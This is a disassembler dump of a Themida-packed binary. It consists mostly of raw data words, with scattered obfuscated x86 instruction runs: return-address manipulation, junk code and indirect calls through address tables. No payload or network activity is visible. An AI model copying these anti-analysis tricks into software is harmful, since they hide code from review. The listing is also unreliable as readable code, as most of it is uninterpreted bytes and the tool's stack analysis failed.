dd 485E9B0Ah, 1EF1CE5Eh, 0A65EB18Eh, 0A8446CEBh, 74B5B3C2h
dd 7E47432h, 0A5F47D34h, 0F95A9B72h, 237B26A6h, 50509893h
dd 8EE1BE4Eh, 3C0h, 13AE2300h, 0E979257Dh, 0CC5C425Fh
dd 0B4446242h, 9929752Ah, 8212940Fh, 6BFBABF8h, 4FDFBFE1h
dd 35C5E1C5h, 1CACFAABh, 6A06839h, 1C890000h, 1E56824h
dd 2C890000h, 57B76824h, 0C890000h, 62B85024h, 510618CCh
dd 0CD89C189h, 0CC685859h, 89000000h, 4812424h, 424h, 0EC815900h
dd 4, 8F242C89h, 34FF0841h, 0C4815924h, 4, 5D2434FFh, 0E904C483h
dd 0FFFA7442h, 0D6FAACEEh
db 52h, 49h, 0C8h
; ---------------------------------------------------------------------------
loc_5B40D3: ; CODE XREF: sub_5B3505:loc_5B362Dj
mov eax, 618D65Fh
add eax, ebp
jmp eax
sub_5B3505 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 3BBFFF9Eh, 6D562E7Dh, 3C2C40D0h, 12E8h, 0EFA20D00h
dd 0DA3B5748h, 438285E7h, 0CA0D95CAh, 0E929243Fh, 11h
dd 705EDA20h, 67B7C1CDh, 4990AEEBh, 4A818E1Eh, 0E0B75ACDh
dd 6A93C281h, 0BF0F0000h, 0E9F62BDFh, 7, 44EC076Ch, 0FFE60A88h
dd 0F88B1634h, 0C820F58h, 60000000h, 1FCF8166h, 7E0CBA7Ch
dd 816174CDh, 0C8CB9CE8h, 0DB816617h, 0C08196D2h, 775875F8h
dd 22F38166h, 7EC08160h, 6650F75Fh, 386CE981h, 10BB5350h
dd 5F08A1BCh, 6632048Fh, 0B5B733BFh, 0E7EE8152h, 0F19C90Bh
dd 0C681D9BFh, 19C90BE3h, 0A060BF66h, 9658FE81h, 850FFFFFh
dd 1Eh, 0F60F560h, 87h, 0E9616100h, 34h, 281B98DCh, 0C641AD04h
dd 0C1BAF195h, 13E920E6h, 64000000h, 5A55F176h, 0A412AB42h
dd 0EDBE148Dh, 4AB636FBh, 5CE9647Ch, 6AFFFFFFh, 2A1F24A5h
dd 0F7279297h, 0DE8h, 0EB251D00h, 291E2A74h, 9D451378h
dd 0C68B4071h, 0D8B0F59h, 60000000h, 0BBA3DF81h, 816659F6h
dd 619906F1h, 61D9C181h, 0C2800000h, 0C0EFBE13h, 0C681732Eh
dd 8CD1575Eh, 0FB631FFh, 51F3815Bh, 6652F7E2h, 0EB81D18Bh
dd 387763EFh, 8E9h, 0A5213900h, 4C6A9529h, 1F3819Bh, 8B3078A7h
dd 0BF6653C2h, 18FA67Ah, 9DAB97BFh, 4E98373h, 4B4C27B8h
dd 850F4E57h, 1Bh, 28E0Fh, 0C18B0000h, 21E9h, 1C197300h
dd 0B0024EA6h, 0DE908DE8h, 8195387Ch, 54A931F0h, 0FF96E92Ch
dd 9D83FFFFh, 0DBF164AFh, 26E9E5E9h, 0CC000000h, 10621Ch
dd 8 dup(0)
dd 4B8E900h, 0B2680000h, 0E90618D9h, 0FFF9A751h, 18DA1168h
dd 0A747E906h, 5D68FFF9h, 0E90618DBh, 0FFF9A73Dh, 0D472DED1h
dd 0E886F0E4h, 9E00F8h, 16B41A10h, 2BC93126h, 0FCF163BEh
dd 0F06F694h, 241D0DABh, 3C3626C4h, 0E04140DEh, 1DF476Fh
dd 0F1435676h, 0AFB21A0Fh, 0F6A1FFF9h, 0C2C52920h, 0E184026Ch
dd 0F0F586Fh, 2E98B7EFh, 7C27BAB1h, 70E16AF3h, 6FE97148h
dd 4E760957h, 5D6FE971h, 0D132A50Fh, 8C69FB6Dh, 766A9203h
dd 817875FBh, 66D01E1Dh, 0B88E3987h, 0DF05AC4h, 0FB7690BCh
dd 0FEFC875h, 2FE9E43Bh, 0A03D9DEh, 0DA0740AAh, 0AD000002h
dd 525982ADh, 16B324CFh, 769FB2Fh, 0C76CBFB9h, 0A8989E88h
dd 0C63222A5h, 0BD396A63h, 31C961C7h, 0E2381586h, 149D6572h
dd 4EE67BA3h, 0CA34826Dh, 0E2463DEBh, 0EEF189DFh, 5E099893h
dd 611D6CEDh, 797FF167h, 0EA622EE0h, 80CEAD17h, 0A705FFD5h
dd 0C11F1909h, 0D1D02CCFh, 51F6D97Dh, 31Ah, 0C462CEC1h
dd 0D876E0D4h, 0F08EF0E8h, 6A40A00h, 1BB92116h, 0ECE153AEh
dd 0FFF6E684h, 140DFD9Bh, 2C2616B4h, 0D03130CEh, 1E0375Fh
dd 0E1334676h, 2E8C865Ch, 0EE6BD52Bh, 48B964FFh, 69F1DEA7h
dd 976D1866h, 0AC9C3AA2h, 0FB4C4FB7h, 962FD1DCh, 0EEE03E38h
dd 7F61E0FBh, 0BB660BEEh, 20000002h, 3323C12Dh, 4737D53Fh
dd 5F4FED4Fh, 75650369h, 0D7A1880h, 0E34B40B2h, 0FA5E5545h
dd 13736C5Ch, 2D8B8575h, 0BE2F908Fh, 7601E196h, 6A4092A5h
dd 345CCD63h, 426FE907h, 9BE9E84Ah, 46E75803h, 1B69F1DFh
dd 0C1D5BA9h, 79E300B2h, 0F8494C9Ah, 7601DCCCh, 8184EEE2h
dd 7073D1CBh, 0E65535AEh, 83573710h, 0DE36542Ch, 0F0544B21h
dd 1A74D86h, 0FF30000h, 0FEB4B715h, 7308A604h, 0CD3EE978h
dd 69FB1E10h, 9FF0F341h, 75FB2273h, 1EF2D2ABh, 0DE2F99C7h
dd 450Eh, 636AB400h, 0C3C435E0h, 4A69FB11h, 0A941A59Ch
dd 0CF2F28FEh, 5318265h, 1B75FB1Eh, 4BABD27h, 0F3A9AC0Ah
dd 41979AFAh, 9302E29Bh, 8204E4BDh, 6D52B8ACh, 87CE1CA6h
dd 9875DF77h, 0DE2FD541h, 0BB88h, 150F2E00h, 9FEB4B7h
dd 0FB924CA5h, 9C342F03h, 8BE9E399h, 7AD8D288h, 0F55351DCh
dd 7016FE9h, 0FDFD2596h, 0EF606FE9h, 6FE9FEC7h, 3F8988D6h
dd 0E99C38EFh, 6C049C33h, 9C3239CEh, 0E9F6032Bh, 24BC0A6Fh
dd 9D680879h, 59A769FEh, 8CB425AEh, 9375FD4Bh, 0F4544D45h
dd 0A6319BF1h, 0D573DBD0h, 9688F0E5h, 7334C3C9h, 6F04A98Ch
dd 6C000001h, 7F6F0D79h, 9383218Bh, 0AB9B399Bh, 0C1B14FB5h
dd 59C664CCh, 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h
dd 0A7BDCDBh, 7601E2E2h, 0F84D6E9h, 173CB61Ah, 0B39E916Dh
dd 0E9491A42h, 3BD3216Fh, 2B22F8A3h, 0EFDF5DC7h, 0A5F997F5h
dd 0CC8E865Ch, 6ED870D6h, 3B3E9C96h, 8F2D8B85h, 0C570F3FAh
dd 0D6D663Ch, 0D74AB40Ah, 69FB4BFEh, 153DAE0Fh, 7875FB54h
dd 0FB54DF07h, 0A1A0EE75h, 3A10BB53h, 57E9E145h, 0CF359A2h
dd 0C133D674h, 0D7D05A03h, 8A1E7477h, 0E3EB4BBAh, 258C98FDh
dd 50C32DC5h, 75FC0024h, 44E2403Ah, 0DD7CBA1h, 1518B018h
dd 887D55BFh, 6568C6C0h, 4F52BAAFh, 1EC961F9h, 0EAED5148h
dd 0A2472A94h, 0A2h, 0E0636A50h, 0AC3AAC35h, 0F16FDD7Bh
dd 5C5FC7BCh, 91046E06h, 69F209ECh, 234BBC1Dh, 317601FAh
dd 7CD2D53Bh, 0EC972F7Dh, 6D153C7Ah, 6A733Dh, 0AF6D671Dh
dd 0FC5255B7h, 0BF30B964h, 76019D97h, 5655B3ADh, 30209E08h
dd 84D5D836h, 7FAC5E4Fh, 582707BEh, 7262005Eh, 6E960778h
dd 7D804B5Eh, 0DE94972Fh, 0CFB786E8h, 90A2E5E6h, 463FF5F8h
dd 332DE3E6h, 6E2951C2h, 0E230804Bh, 6DDE474Ah, 804B6E45h
dd 0A7600654h, 0BF58C7h, 0F9575120h, 13716B5Bh, 86B10h
dd 95190000h, 0D73F340Ah, 1C0F316Dh, 0FDF7ADB0h, 0EDE69C9Fh
dd 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h
dd 786C2225h, 504D0B0Eh, 4055854h, 83000000h, 48704E8h
dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h
dd 37C36824h, 34890000h, 0C2BE5624h, 890618D8h, 24348BF3h
dd 5404C483h, 8124348Bh, 4C4h, 4EC8300h, 8F241C89h, 34FF0846h
dd 0C4815E24h, 4, 5B2434FFh, 0E904C483h, 0FFF9A2ADh, 0FAA4D1C3h
dd 545A0F9Eh, 0F1B865B4h, 30618DCh, 20E0FFC5h, 0D90CF2ECh
dd 4646A340h, 0CE4FBA62h, 51672985h, 5F5727B2h, 294854D3h
dd 0EF6BAEDFh, 0C96F54FBh, 5C7C7A6Fh, 9E6FDEA8h, 0F92D8F53h
dd 0A8141BAAh, 942A612Ch, 25311FA5h, 0FC482850h, 9811A074h
dd 3B2B9A35h, 0A564873Ah, 6B18ABAFh, 0A6188763h, 534C683Ch
dd 105D2E38h, 0F5413B42h, 0E9706B9Ch, 29h, 5BF66C7Ah, 9 dup(0)
dd 5F9E900h, 14070000h, 261A0AA8h, 362E1EBCh, 504636D4h
dd 675C4CEAh, 95F461FFh, 2CCA3227h, 43E1453Ch, 5CFA5A53h
dd 7614726Ch, 7DA51677h, 8C7601E4h, 0D02D879h, 0FFF3BA5h
dd 9A0CB715h, 0AA8927D0h, 1F897D96h, 0C42EC61Ch, 0CE362BE1h
dd 0EF594D23h, 0AE2C96ECh, 0BB66C4BEh, 8A8DEBE5h, 31E7CA34h
dd 6DD6D937h, 0B133FAFBh, 8631A106h, 0E984ED15h, 44AEFC6Fh
dd 0B6AE786Ch, 999CFAF4h, 6813AB43h, 9DB7ECF6h, 4EB80283h
dd 5ABEB56Bh, 43ADA157h, 8B6B2440h, 0E6C67D1Ch, 426ADB64h
dd 496FE9DBh, 0BFB991FBh, 0BA30D01h, 24847D6Dh, 160DE386h
dd 0B1C51EB2h, 0C5349474h, 2A8A835Bh, 4BB5A97Fh, 0A588F248h
dd 9194F8EFh, 0CC9B7B3Ah, 0C7EF60D3h, 0D66FE919h, 0AF52F088h
dd 42C9D26h, 0B6FE919h, 19022ABDh, 0BB096FE9h, 6ACAC3h
dd 0CDD02E28h, 0A035F264h, 0A3A60800h, 0B75DB94Dh, 2DA00Ah
dd 0B16FE972h, 0EF461AFAh, 36D81DE5h, 61h, 8E865CDCh, 0F0EAC22Ch
dd 143E8F92h, 2A6FE907h, 17CDD032h, 0FABCBF1Dh, 0DBD2A181h
dd 0C980DF77h, 6DDE67E9h, 6FE90745h, 0BF9C0654h, 0D81D7A68h
dd 2B91875Dh, 2F68D228h, 1, 0B11B0FD5h, 9A04F8AEh, 85EBE197h
dd 8E6E2582h, 2965CBBFh, 272B62F6h, 3828C65Eh, 9F42E03Eh
dd 56FD1C9h, 0B21A0FC9h, 777046AFh, 0C6BE1417h, 26FE68D2h
dd 0A9C5C832h, 86A39406h, 0BBAE86DAh, 1D0B051h, 1606A40Ch
dd 5BBBE1Ch, 14A8AB0Dh, 67D95B3Bh, 52D7EFA0h, 4CACA539h
dd 266D4AB4h, 4DD81E80h, 7Fh, 8F865CF3h, 6A6DD7CBh, 10797C14h
dd 0E907779Fh, 0A038866Fh, 1695E36h, 0EE5048FEh, 0F7D78EEBh
dd 2DCB3328h, 35E0483Dh, 0AAA3695Fh, 59AFB24Ah, 60560CEFh
dd 8A63F7FAh, 808FD6AAh, 78B6D81Dh, 5C000000h, 7B21A0Fh
dd 634D3495h, 1882B0D9h, 0D243CC35h, 6FE96DAAh, 21F963B1h
dd 0FC5C828h, 0F8AEB11Bh, 0D6989B03h, 680E7D5Dh, 774DCFAFh
dd 0DE891D7Fh, 8368D12h, 2A1FF761h, 0FD024C2h, 9406B11Bh
dd 56605B29h, 0B295FFB3h, 0E9753461h, 4E2EE56Fh, 0AAD243CCh
dd 0B16FE975h, 0C51CF963h, 0BAD81DE8h, 6998C031h, 46A76FE9h
dd 0E969ADD5h, 0D66EBC6Fh, 1336Ch, 0FD90000h, 340AB517h
dd 0EFE4DC3Ah, 0C42E8487h, 73312BE1h, 0DD37197Fh, 9910E870h
dd 0F666901h, 0A9A17050h, 3006A947h, 7BD1D43Ah, 0F7999411h
dd 33650485h, 790CCF5Bh, 6FE91951h, 0C7720A58h, 19A5CD3Eh
dd 53B46FE9h, 0E919BAE2h, 0DB73C16Fh, 1C75E671h, 0C169FB3Eh
dd 258FF5EBh, 3BA39846h, 0A47CE638h, 205D0B2Dh, 37EDF088h
dd 5141DF3Dh, 0A5F6F957h, 75FB877Bh, 0C84A2AE3h, 0A862F156h
dd 117B77CAh, 5DCE3F39h, 75FBB135h, 0C05EF644h, 0F465D6D0h
dd 75FBB1CCh, 0D8E4A13Eh, 0D3D211A7h, 35CD2B25h, 0EAE49A9Dh
dd 140BE18Ch, 0ED57ADB0h, 0F95D540Ah, 0E64840F6h, 0EDCD8CE3h
dd 8767207Eh, 0C260BEB8h, 304676CDh, 16DBDDEh, 3E140000h
dd 7AE3E644h, 0FBC7E109h, 29AE875h, 0D35C5C98h, 0E9073A62h
dd 0EE50486Fh, 489695EBh, 7042C9Dh, 0BD0B6FE9h, 4CD7D653h
dd 494218A1h, 0E590E6E9h, 0E9074C74h, 9B05536Fh, 0FB33DF28h
dd 0DDE02E69h, 7A6F2D27h, 21B90F12h, 3B999383h, 0C5D21E90h
dd 591328Bh, 4EA4A711h, 0D3F422B6h, 7308C0A5h, 76702609h
dd 0C55DC1B8h, 0B2140CC2h, 9F01F9AFh, 0E7C7809Ch, 81611A78h
dd 0D12F29FFh, 0E1487CCEh, 0C1639605h, 0D53B3129h, 3A127CD2h
dd 4F44E240h, 0DE3038F8h, 523Fh, 6F6AE500h, 8C24827Ch
dd 8D8258E1h, 21CC2225h, 0E90788B0h, 0DF49976Fh, 16F9646Ch
dd 3529FF10h, 348261CBh, 6B8E031h, 0D4CEEFE9h, 0C6BD7376h
dd 4B025F62h, 7FF8FC6Bh, 9D2C2B9Fh, 0F87981F2h, 3E149016h
dd 0F8ECE446h, 0F745248Eh, 817A59h, 6A280000h, 345CCD63h
dd 3B6FE907h, 39AA55EDh, 69FB1B24h, 2A8A8359h, 8867D127h
dd 8781373Ah, 0A19B8B29h, 0ED85EFE3h, 237A99EAh, 33EC75FBh
dd 308A8453h, 8F4CE45h, 0FB993136h, 58C96766h, 75FBF130h
dd 0FFF9F13Fh, 0ED5E09A1h, 7004C5FBh, 2B93885Eh, 8968D228h
dd 0B51E903Bh, 4A79E49Ah, 29DFC22Ch, 77CED12Fh, 6964D8B8h
dd 871F837Ah, 2AE153DCh, 6ED6616Ah, 0B2A41781h, 0BD69FC8Fh
dd 6A7DD16Fh, 0C435E063h, 69F1DBD2h, 82E2DBB1h, 0E0BF297Fh
dd 0DFD98F92h, 0F9F3E381h, 46DE463Bh, 6C56F243h, 0D5CC3820h
dd 1BB31D11h, 9696218h, 5131EA06h, 0AC8C43E2h, 0E360542Ah
dd 0DF5C4A72h, 6B0351CBh, 0D0A81268h, 0EADA78D6h, 0D98F92F0h
dd 0C47A7DE3h, 0AE6467CFh, 9D5356B4h, 0E63C3FA9h, 80EFCF88h
dd 6E683EE7h, 2505A610h, 60FE5C56h, 951C7670h, 0BADDC4D6h
dd 25A6F488h, 148563D3h, 3D4797Ch, 82000000h, 1C0F5995h
dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h
dd 9E944A4Dh, 877F3538h, 786C2225h, 534D0B0Eh, 0C381E389h
dd 4, 8704EB83h, 895C241Ch, 0FE682434h, 89000014h, 0D6682414h
dd 89000011h, 5350241Ch, 0A36443BBh, 3EBC12Ah, 79F3814Bh
dd 0C13CE30Bh, 0C38102EBh, 44D097C2h, 355BD889h, 5526AC39h
dd 5458C289h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 34812414h
dd 0FC69FB24h, 8438F12h, 0FB087381h, 8B12FC69h, 8952241Ch
dd 4C281E2h, 81000000h, 4C2h, 24148700h, 24148B5Ch, 81E18951h
dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF99C19h, 0D0962028h
dd 8A96DA68h, 0B8EB2073h, 618E349h, 0E0FFC503h, 5C92FF47h
dd 0E8A8A24h, 518294B1h, 40B39E32h, 0E4BE8D8Dh, 6A0618h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0BF50D8C3h, 259BFD8Fh, 5E9h, 725B0300h, 8D89D22Fh, 61209A1h
dd 10E9h, 0D38DFD00h, 1B5C34F6h, 0CBA55B9Ch, 0C245B67Bh
dd 585C7EAh, 0DC061205h, 8B000069h, 0CD9D8BFAh, 0C706120Ch
dd 121BD985h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0F1E4351Eh, 0A0EA385Bh
dd 31858B0Ah, 8B061230h, 49B5FFDFh, 8906122Ah, 122E158Dh
dd 3195FF06h, 3106121Bh, 1211DD8Dh, 0FF006A06h, 1219CD95h
dd 0EBC08B06h, 92CD733Bh, 63052975h, 0A1A39C03h, 834A1739h
dd 0F73F132Ah, 2ECCE5EAh, 95455BFCh, 22DCDBFEh, 54A250D9h
dd 5609131Ch, 0E1CC190h, 312B801h, 4B29E37Dh, 667A45DEh
dd 63688F65h, 0AE8h, 0C5293500h, 33086C3Dh, 0E9110C41h
dd 7, 13059908h, 58600740h, 15F5B58Bh, 0C0810612h, 5A3Ch
dd 0E850Fh, 0E9500000h, 7, 72F267A8h, 5A869B60h, 166C68h
dd 0F59D0B00h, 5906122Bh, 8BD9BF0Fh, 61B52938h, 81061207h
dd 1A082DF7h, 81D0B653h, 5D0FAFEFh, 81B3B251h, 1E9274F7h
dd 0C3816662h, 38892DA7h, 301611BEh, 3E8831Dh, 5AD18A52h
dd 2ABE6648h, 1E981CBh, 0F000000h, 0FFFFBE85h, 8D2952FFh
dd 61222E1h, 478D8D5Ah, 6A0618E6h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C2C6C353h
dd 0CE6B4D2Dh, 840F5Ch, 89000000h, 1209A18Dh, 68B0F06h
dd 1000000h, 1203F58Dh, 95896006h, 6121451h, 2890Fh, 0FE8B0000h
dd 585C761h, 0D0061205h, 8B000074h, 121C95BDh
dd 0D985C706h, 6121Bh, 89000000h, 122B0DBDh, 0D1B5FF06h
dd 6A06120Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 60E8C356h, 890F9FF1h, 0
; ---------------------------------------------------------------------------
mov esi, [ebp+6120E4Dh]
call dword ptr [ebp+6121B31h]
xor [ebp+6121565h], ebx
push 0
call dword ptr [ebp+61219CDh]
mov eax, eax
jmp short loc_5B50CB
; ---------------------------------------------------------------------------
dw 46A5h
dd 9190C682h, 0DB84E4B2h, 0CEEB6B2h, 7453DB4h, 2ACE512Fh
dd 2ABA40B0h, 0A593C264h, 0EC3D4573h, 0C402DAh, 0FF662426h
dd 23EE9716h, 0A77D5FC5h, 0A9C47159h, 835EAE7h, 580D03E2h
dd 8B79822Bh, 0C4107CF6h, 1DE9031Eh, 24D99E3Ch, 0C97E7113h
dd 0E8E306DDh, 79262F46h, 0E72A8FB7h, 4F0CD715h, 5646B110h
db 0C7h, 0FDh, 51h
; ---------------------------------------------------------------------------
loc_5B50CB: ; CODE XREF: Themida_:005B5060j
lea ecx, [ebp+618E749h]
push 0
push ebp
call sub_5B50DC
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B50DC proc near ; CODE XREF: Themida_:005B50D4p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5B50DC endp
; ---------------------------------------------------------------------------
pop ebp
mov [ebp+61209A1h], ecx
jmp loc_5B5105
; ---------------------------------------------------------------------------
dd 9B8B6C26h, 44D69403h, 3F35FB5Ah
db 39h
; ---------------------------------------------------------------------------
loc_5B5105: ; CODE XREF: Themida_:005B50F3j
mov dword ptr [ebp+6120505h], 6AF8h
movzx eax, cx
mov dword ptr [ebp+6121BD9h], 0
push 0
push edi
call sub_5B5127
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B5127 proc near ; CODE XREF: Themida_:005B511Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5B5127 endp
; ---------------------------------------------------------------------------
adc edx, [ebp-731A55A4h]
pop es
xor al, 36h
push dword ptr [ebp+6122BF1h]
mov [ebp+6122BE1h], ebx
call dword ptr [ebp+6121B31h]
mov edx, 34B343E1h
push 0
call dword ptr [ebp+61219CDh]
mov eax, eax
jmp short loc_5B51C3
; ---------------------------------------------------------------------------
dd 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh
dd 8B7F0828h, 510994CCh, 186C6D00h, 0E7053599h, 0E9F1E276h
dd 0DCEADCA3h, 0DD061A3h, 0A84F34D7h, 6EF801Ah, 0F36E26Dh
dd 68997582h, 0D0BDEFDDh, 54232FC9h, 30C4325Fh, 0B4D215A8h
dd 812D4E2Bh, 922A806Fh, 5D434BDCh
; ---------------------------------------------------------------------------
idiv dword ptr [eax+21h]
loc_5B51C3: ; CODE XREF: Themida_:005B5162j
lea ecx, [ebp+618E847h]
mov [ebp+6122D99h], edi
mov [ebp+61209A1h], ecx
and bl, 0C5h
mov dword ptr [ebp+6120505h], 5950h
mov [ebp+61222ADh], edi
mov dword ptr [ebp+6121BD9h], 0
push 0
push ebp
call sub_5B51FD
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B51FD proc near ; CODE XREF: Themida_:005B51F5p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5B51FD endp
; ---------------------------------------------------------------------------
db 40h, 8Fh, 0E8h
dd 9, 6C06BC24h, 19CA6F6Bh, 11BD8BE5h, 5E061213h, 6ADB5FFh
dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 0E409C1C3h, 95FFF895h, 6121B31h, 26859589h
dd 6A0612h, 19CD95FFh, 0C08B0612h, 0A4064EEBh, 33624131h
dd 1A7D7823h, 909F53C3h, 6C770810h, 0CBC3D20Ah, 67C4F749h
dd 0D98AD4AEh, 9DD7ECE8h, 1A49445Bh, 0F1BF5FF7h, 62FF123Ch
dd 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h
dd 7FFE51BFh, 0A2C0E6E1h, 9FA25DA4h, 5E8h, 548BE700h, 31B9B287h
dd 58403E0Ch, 0CDD9589h, 0C0810612h, 5FF1h, 1058D8Bh, 680612h
dd 0B6000000h, 0BE85E48h, 96000000h, 0C6507D1Eh, 887941F6h
dd 0D98BB229h, 303C8B59h, 30BD8D8Bh, 0F7810612h, 29B1E07Fh
dd 29C99589h, 0EF810612h, 336AB3E5h, 0D7F38166h, 4FC781A2h
dd 662D3187h, 3C89DA8Bh, 0D1952930h, 8B061212h, 1206C98Dh
dd 1EE8306h, 314DBD31h, 4E4E0612h, 0CEBF0F4Eh, 0A09CFE81h
dd 850FFFFFh, 0FFFFFFADh, 1769BD89h, 0CE80612h, 0D1000000h
dd 64A20060h, 0D6105EFAh, 89A39068h, 122F81B5h, 8D235A06h
dd 6121D91h, 72CFC281h, 8D890000h, 61219BDh, 2953C033h
dd 12184DBDh, 3C8B5B06h, 1D820F02h, 60000000h, 10E9h, 3C24A400h
dd 0C6B49F57h, 0F50AA1E2h, 88CEDF62h, 0C58D23E4h, 61061226h
dd 0EA05C781h, 7EB503EBh, 361EEF81h, 840F2A67h, 0
dd 4192F781h, 8D2B519Bh, 612098Dh, 6161BB57h, 48F7730h
dd 89ADB102h, 122B0595h, 75E88106h, 60327840h, 34BD8589h
dd 81610612h, 784071C0h, 58A0F32h, 66000000h, 1789F181h
dd 8DF8F881h, 850FFFFFh, 0FFFFFF7Eh, 14E8h, 0B868CE00h
dd 930AAF23h, 9F7F42Dh, 87F5D102h, 250D7ECDh, 8D8D5E1Bh
dd 618EADAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0C0C35747h, 0AB25DD0Eh, 5436B94Fh, 8E8h, 3B500800h
dd 2A0F23Dh, 37BE66C2h, 9D0958CEh, 6121B79h, 9A18D89h
dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0BD981EC3h, 585C793h, 50061205h, 1000067h
dd 121B698Dh, 0D985C706h, 6121Bh, 66000000h, 0FF0C43B8h
dd 122D69B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 0FF1C79BDh, 121B3195h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 2B2D30EFh, 1211C585h, 0FF006A06h, 1219CD95h, 0EBC08B06h
dd 8C46B71Eh, 7F7BB25Eh, 7ECE7D44h, 8389B488h, 0D19C19F3h
dd 5270BDCFh, 0A4E713h, 8D40A6C6h, 18EC1C8Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 89011A0Bh, 12039DB5h, 0A18D8906h, 6A061209h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 2B21C350h, 0B589DBA5h, 6120789h, 9498D09h, 85C70612h
dd 6120505h, 6494h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0AEC35747h, 0A681D230h, 11E999h, 0DF280000h
dd 7AAC6E74h, 6967E5E7h, 88AE33FFh, 8BE556C4h, 122BFD95h
dd 0D985C706h, 6121Bh, 0E9000000h, 12h, 0C48A615Dh, 9EF31248h
dd 0B456F546h, 7A50418Fh, 0B5FFF3C3h, 6122C81h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C6C35040h, 0FE606FE1h
dd 3195FFF8h, 6A06121Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0AC34C353h, 0B160B98h
dd 298501E4h, 6A061216h, 0CD95FF00h, 8B061219h, 206DEBC0h
dd 0F96A1082h, 533AB19Ch, 11992CA4h, 3291106Fh, 3C5E6EB6h
dd 0FE52BD51h, 0B65D50FAh, 0E52F9B27h, 5427693Fh, 53DF443h
dd 2B8CC93Fh, 0EF1BAD26h, 8860C9ABh, 8D1F3D76h, 2B5E176Dh
dd 1AE22958h, 938873D2h, 0DEA94DABh, 7C077CDBh, 46046BB3h
dd 90C39103h, 33057974h, 7AEEBCCCh, 8D2191F1h, 3E7019CFh
dd 4AAF5C2h, 9570F6A7h, 0ED458D8Dh, 0BF0F0618h, 0A18D89C0h
dd 0C7061209h, 12050585h, 710406h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 37963193h
dd 0A5BD89D5h, 89061223h, 120261BDh, 0D985C706h, 6121Bh
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 4FF6C356h, 95A243DAh, 893EFBB5h
dd 12205995h, 0E99D3306h, 0FF061203h, 122A69B5h, 48C88106h
dd 0FF65A3C4h, 121B3195h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0F18BF7DFh
dd 95FF006Ah, 61219CDh, 0EEBC08Bh, 1A64C247h, 9BFF4184h
dd 91C7BA47h, 0FE8653Fh, 0F9000000h, 52DD3D7Ch, 8A0F85Eh
dd 8A979267h, 9D23ACBAh, 61218E1h, 24C18159h, 6000005Bh
dd 0E9DBB70Fh, 0Eh, 57148B9h, 0F83FEEFBh, 4B3878Bh, 0B86167CEh
dd 169Bh, 0B589318Bh, 6120331h, 0ABFCF681h, 8D8948D2h
dd 612104Dh, 7AD7C681h, 0EE815AC7h, 7BDC336Dh, 6A98D29h
dd 31890612h, 83FFBF66h, 0F02E983h, 58Ah, 491BBF00h, 4949548Fh
dd 99DB589h, 0F480612h, 1A85h, 0B99D8B00h, 0E9061203h
dd 2Fh, 0BA16A8DBh, 89B37AA0h, 0B51F7500h, 0FD3B57Dh, 0E8Dh
dd 9E900h, 0B0260000h, 3F3D560Ch, 0E92CF271h, 0FFFFFF84h
dd 0AE947B51h, 0E8175EABh, 6, 8FA597F3h, 0BF0F5AA8h, 10E85ED1h
dd 81000000h, 903FE0Dh, 0D2A678E6h, 378EDC67h, 0B96628BDh
dd 40D98867h, 0D7C68159h, 66000072h, 140D981h, 0B8h, 0A9950900h
dd 0FF06122Dh, 0C7813034h, 4A5AF171h, 59958B5Bh, 81061217h
dd 43A23FC3h, 59B5892Eh, 81061216h, 5120B6EBh, 0CA8B667Bh
dd 4AD1EB81h, 0BD8B6B1Bh, 6120429h, 0D5950153h, 8F061200h
dd 958B0604h, 61228DDh, 7499529h, 0E8830612h, 81666003h
dd 8BD981D2h, 122D1D9Dh, 9486106h, 120675BDh, 4F88106h
dd 0FFFFF8Eh, 2085h, 6810F00h, 89000000h, 1200D5B5h, 29E906h
dd 80730000h, 0C6CC9D0Eh, 856F6C4Ah, 0A8C5525Ah, 0A5BD8BD0h
